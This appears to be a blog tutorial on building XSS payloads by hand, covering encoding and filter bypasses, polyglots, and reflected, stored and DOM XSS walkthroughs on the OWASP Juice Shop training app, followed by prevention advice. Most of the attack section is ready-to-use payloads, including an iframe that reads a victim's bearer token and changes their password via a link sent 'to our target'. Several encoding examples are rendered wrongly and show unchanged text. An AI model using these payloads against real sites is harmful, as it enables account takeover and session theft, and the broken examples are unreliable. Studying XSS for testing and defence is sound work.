How to make XSS payload manually

What is XSS?
Cross site scripting(xss) is the most common vulnerablity discoverd on web pages and applications. It occurs when an attacker is able to execute client-side JavaScript in another user’s browser.
More complex XSS vulnerabilities will be mostly missed by automated tooling. So you want learn to make XSS payload in manually.

Keep the below following steps to make XSS payload. Some web pages using html encoding, url encoding and etc. It santize some charcters like “<>/()=”. Follow the below steps to make manually malicious code.

Let’s Go
– Encodings
– URL encoding
<script>alert(1)</script> to %3Cscript%3Ealert%281%29%3C%2Fscript%3E
– Base64 encoding
<script>alert(1)</script> to PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
– Hexadecimal encoding without semicolon
<script>alert(1)</script> to %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
– Decimal HTML character
<script>alert(1)</script> to <script>alert(1)</script><script>alert(1)</script>
– Decimal HTML character without semicolon
<script>alert(1)</script> to <script>alert(1)</script>
– Octal encoding
javascript:prompt(1) to javascript:’\160\162\157\155\160\164\50\61\51'
– Unicode encoding %EF%BC%9E -> > and %EF%BC%9C -> <
<script>alert(1)</script> to %EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E
– Using jsfuck
– Embedding encoded characters that don’t break the script (tab, newline, carriage return)
– Embedding tab
<script>alert(1)</script> to <scri pt>alert(1)</script>
– Embedding newline
<script>alert(1)</script> to <scri pt>alert(1)</script>
– Embedding carriage return
<script>alert(1)</script> to <scri pt>alert(1)</script>
– Null breaks
<script>alert(1)</script> to <scri\0pt>alert(1)</script>;
Null breaks should be done either through a proxy or by embedding the %00 in the URL query, otherwise they won’t work properly.
– Character bypasses:
– To bypass quotes for string use String.fromCharCode() function
– To bypass quotes in mousedown event <a href=”” onmousedown=”var name = ‘’;alert(1)//’; alert(‘smthg’)”>Link</a>
– To bypass space filter use one of /, 0x0c/^L like:
<a onmouseover=”alert(1)”>Click me!</a> to <a/onmouseover=”alert(1)”>Click me!</a>
<a onmouseover=”alert(1)”>Click me!</a> to <a^Lonmouseover=”alert(1)”>Click me!</a>
– To bypass parenthesis for string using `
<script>alert(1)</script> to <script>alert`1`</script>
– To bypass closing tags > use nothing, they don’t need to be closed
<svg onload=alert(1);//
– Bypassing on…= filter
– Using null byte
<a onmouseover=”alert(1)”>Click me!</a> to <a onmouseover\x00=”alert(1)”>Click me!</a>
– Using vertical tab
<a onmouseover=”alert(1)”>Click me!</a> to <a onmouseover\x0b=”alert(1)”>Click me!</a>
– Using a /
<a onmouseover=”alert(1)”>Click me!</a> to <a onmouseover/=”alert(1)”>Click me!</a>
– Escaping JS escapes
You’re already working in script tags but you need to escape the quotes to inject your own code:
\”;alert(1);//
or close the script tag and open up your own immediately after:
</script><script>alert(1);</script>
Polyglots
Polyglots are used to save time when testing for XSS. They usually cover a large variety of injection contexts. They aren’t the end all be all for XSS but they do speed up the process quite a bit. If the polyglot works, you save a lot of time, if it doesn’t you either move on or continue with a lot more specific attack on that input. It all depends on your goal, if it is to test a lot of parameters, polyglots are great, if it is to break a single parameter, you will probably need to dig deep into how that specific part of the application works.
Here is a great polyglot by 0xSobky
jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert()//>\x3e
It covers a large amount of injection contexts and is overall great polyglot to test everything with.
Another great polyglot by s0md3v
→’”/><sCript><deTailS open x=”>” ontoggle=(co\u006efirm)``>
You can find many other polyglots here.
Fun on test sites
JuiceShop XSS-es
Reflected XSS Example
On juice-shop, login as any user, and then go to “Account” and “Privacy & Security”. Next go to “Change Password”.
Open developer tools (F12) and go to Network tab and change the password.
You will see this link http://juice-shop.herokuapp.com/rest/user/change-password?current=xxx&new=aaaaa&repeat=aaaaa. And once we probe it a bit we find out that we can change the password without supplying the old password. So the request looks like http://juice-shop.herokuapp.com/rest/user/change-password?new=aaaaa&repeat=aaaaa.
With this we have a way of changing someone’s password but now we need a way of executing the request. If we try to input this in the search box XSS like <img src=”http://juice-shop.herokuapp.com/rest/user/change-password?new=aaaaa&repeat=aaaaa"> it won’t work because it doesn’t actually send a request.
So we wrap with iframe and send a proper HttpRequest to get this to work like
<iframe src=”javascript:xmlhttp = new XMLHttpRequest();
xmlhttp.open(‘GET’, ‘http://juice-shop.herokuapp.com/rest/user/change-password?new=aaaaa;repeat=aaaaa’);
xmlhttp.setRequestHeader(‘Authorization’,`Bearer=${localStorage.getItem(‘token’)}`);
xmlhttp.send();”>
</iframe>
And once we add it to search query with URL encoding we get something really proper that works:
http://juice-shop.herokuapp.com/#/search?q=%3Ciframe%20src%3D%22javascript%3Axmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%20xmlhttp.open%28%27GET%27%2C%20%27http%3A%2F%2Flocalhost%3A3000%2Frest%2Fuser%2Fchange-password%3Fnew%3Daaaaa%26amp%3Brepeat%3Daaaaa%27%29%3B%20xmlhttp.setRequestHeader%28%27Authorization%27%2C%60Bearer%3D%24%7BlocalStorage.getItem%28%27token%27%29%7D%60%29%3B%20xmlhttp.send%28%29%3B%22%3E
And now we can send this link to our target and their password will be changed to whatever you put there.
Persistent XSS Example
Login as any user on juice-shop and go to “Account” and then “Profile”. Type in any Username and click “Set Username”. It reflects the pack on the page. After playing around with payloads for a bit we can see that wrapping works here so the payload is <<script>ascript>alert(1)</script>. Now anyone that visits our profile gets popup.
DOM XSS Example
In juice-shop in “Search” field type <iframe src=”javascript:alert(1)”>. You will get the popup. Copy the URL http://juice-shop.herokuapp.com/#/search?q=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E and send it to your target.
Prevention
Reflected and Stored XSS
Reflected and stored cross-site scripting can be sanitized on the server-side and there are multiple ways of doing it.
One great way to start is to use a security encoding library to encode all parameters and user input.
Blacklisting characters that are deemed unsafe won’t really work out in the long run since some malicious user might figure out some bypass for it as it usually happens. What you need to do is whitelist what is allowed.
If you need to insert parameters/user input data into your HTML body somewhere you need to do HTML escape before insert itself. You will also need to HTML entity encode any character that can switch execution context, such as script, style, or event handlers.
Escape attribute if you need to insert parameters/user input data into your HTML common attributes. Don’t use complex attributes like href, src, style or any event handlers. Also quote your attributes since unquoted attributes can be escaped with a lot of different characters, while quotes attributes can only be escaped with the corresponding quote. Escape all non-alphanumeric characters to prevent switching out of the attribute.
Do JavaScript escaping for dynamically generated JS code, where you would need to insert parameters/user data input into either event handlers or script tags. Only real safe place you can put data here is inside any quoted value. Anything else is really tricky to sanitize properly since it’s really easy to switch context.
There are many additional things to keep in mind when preventing XSS and you can read more at OWASP XSS Prevention.
DOM XSS
DOM XSS can’t be sanitized on the server-side since all execution happens on the client-side and thus the sanitization is a bit different.
Always HTML escape and then JavaScript escape any parameter or user data input before inserting it into the HTML subcontext in the execution context.
When inserting into the HTML attribute subcontext in the execution context do JavaScript escape before it.
Avoid including any volatile data (any parameter/user input) in event handlers and JavaScript code subcontexts in an execution context.
There are a lot more ways to help prevent the DOM XSS and you can read more about it at OWASP DOM XSS Prevention.
Post a Comment